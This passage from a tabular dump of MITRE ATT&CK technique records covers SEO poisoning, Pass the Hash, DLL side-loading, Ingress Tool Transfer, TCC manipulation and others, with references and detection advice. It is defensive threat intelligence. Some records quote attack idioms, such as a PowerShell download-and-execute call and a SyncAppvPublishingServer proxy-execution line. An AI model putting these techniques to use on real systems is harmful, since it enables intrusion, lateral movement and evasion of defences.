Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)
SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1608.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608/006"
},
{
"description": "Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "MalwareBytes SEO",
"url": "https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it"
},
{
"description": "Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Atlas SEO",
"url": "https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/"
},
{
"description": "Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Sophos Gootloader",
"url": "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"
},
{
"description": "The DFIR Report. (2022, May 9). SEO Poisoning – A Gootloader Story. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "DFIR Report Gootloader",
"url": "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/"
},
{
"description": "Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "ZScaler SEO",
"url": "https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-30T16:36:51.184000Z" | "2023-07-28T18:24:16.246000Z" | Pass the Hash | Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1550.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1550/002"
},
{
"description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
"external_id": null,
"source_name": "Stealthbits Overpass-the-Hash",
"url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:46.461000Z" | "2021-10-15T22:48:29.702000Z" | Exfiltration Over Physical Medium | Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1052",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1052"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor file access on removable media. Detect processes that execute when removable media are mounted. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T19:41:37.908000Z" | "2023-03-30T21:01:47.241000Z" | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1574.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/002"
},
{
"description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.",
"external_id": null,
"source_name": "FireEye DLL Side-Loading",
"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:16.408000Z" | "2024-04-11T15:08:01.731000Z" | Ingress Tool Transfer | Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).
On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)
Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)
Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1105",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1105"
},
{
"description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.",
"external_id": null,
"source_name": "T1105: Trellix_search-ms",
"url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"
},
{
"description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
"external_id": null,
"source_name": "Dropbox Malware Sync",
"url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.",
"external_id": null,
"source_name": "t1105_lolbas",
"url": "https://lolbas-project.github.io/#t1105"
},
{
"description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
"external_id": null,
"source_name": "PTSecurity Cobalt Dec 2016",
"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows <code>netsh interface portproxy</code> modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 2.4 |
attack-pattern | attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-02-06T16:20:41.647000Z" | "2024-04-18T23:51:40.464000Z" | SyncAppvPublishingServer | Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)
The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)
Adversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by "living off the land."(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)
For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)
`SyncAppvPublishingServer.vbs "n; {PowerShell}"` | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1216.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1216/002"
},
{
"description": "John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.",
"external_id": null,
"source_name": "4 - appv",
"url": "https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/"
},
{
"description": "Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.",
"external_id": null,
"source_name": "2 - appv",
"url": "https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started"
},
{
"description": "Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.",
"external_id": null,
"source_name": "5 - appv",
"url": "https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/"
},
{
"description": "Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved February 6, 2024.",
"external_id": null,
"source_name": "7 - appv",
"url": "https://twitter.com/monoxgas/status/895045566090010624"
},
{
"description": "Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.",
"external_id": null,
"source_name": "3 - appv",
"url": "https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/"
},
{
"description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.",
"external_id": null,
"source_name": "1 - appv",
"url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"
},
{
"description": "Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.",
"external_id": null,
"source_name": "6 - appv",
"url": "https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-19T16:54:28.516000Z" | "2024-01-03T15:46:06.706000Z" | Additional Email Delegate Permissions | Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.
For example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1098.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/002"
},
{
"description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.",
"external_id": null,
"source_name": "Bienstock, D. - Defending O365 - 2019",
"url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365"
},
{
"description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.",
"external_id": null,
"source_name": "Crowdstrike Hiding in Plain Sight 2018",
"url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/"
},
{
"description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "Google Ensuring Your Information is Safe",
"url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"
},
{
"description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "Gmail Delegation",
"url": "https://support.google.com/a/answer/7223765?hl=en"
},
{
"description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
"external_id": null,
"source_name": "FireEye APT35 2018",
"url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
},
{
"description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.",
"external_id": null,
"source_name": "Mandiant Defend UNC2452 White Paper",
"url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"
},
{
"description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.",
"external_id": null,
"source_name": "Microsoft - Add-MailboxPermission",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None.
A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365",
"Google Workspace"
] | 2.1 |
attack-pattern | attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T02:11:47.237000Z" | "2021-10-17T16:19:50.018000Z" | Code Signing Certificates | Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1588.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/003"
},
{
"description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
"external_id": null,
"source_name": "Wikipedia Code Signing",
"url": "https://en.wikipedia.org/wiki/Code_signing"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-05-27T13:19:51.112000Z" | "2024-03-05T16:13:38.643000Z" | Serverless Execution | Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.
Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)
Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1648",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1648"
},
{
"description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Microsoft DART Case Report 001",
"url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"
},
{
"description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Backdooring an AWS account",
"url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"
},
{
"description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Varonis Power Automate Data Exfiltration",
"url": "https://www.varonis.com/blog/power-automate-data-exfiltration"
},
{
"description": "Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Cado Security Denonia",
"url": "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/"
},
{
"description": "Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Rhino Security Labs AWS Privilege Escalation",
"url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
},
{
"description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Rhingo Security Labs GCP Privilege Escalation",
"url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"SaaS",
"IaaS",
"Office 365"
] | 1.0 |
|
attack-pattern | attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-21T21:10:57.322000Z" | "2024-04-17T00:02:12.021000Z" | TCC Manipulation | Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).
When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)
Adversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions.
For example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)
Adversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1548.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/006"
},
{
"description": "Marc-Etienne M.Léveillé. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.",
"external_id": null,
"source_name": "welivesecurity TCC",
"url": "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/"
},
{
"description": "Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.",
"external_id": null,
"source_name": "TCC Database",
"url": "https://interpressecurity.com/resources/return-of-the-macos-tcc/"
},
{
"description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.",
"external_id": null,
"source_name": "TCC macOS bypass",
"url": "https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
|
attack-pattern | attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T01:33:19.065000Z" | "2021-10-18T12:26:31.766000Z" | Ptrace System Calls | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/008"
},
{
"description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "PTRACE man",
"url": "http://man7.org/linux/man-pages/man2/ptrace.2.html"
},
{
"description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "Medium Ptrace JUL 2018",
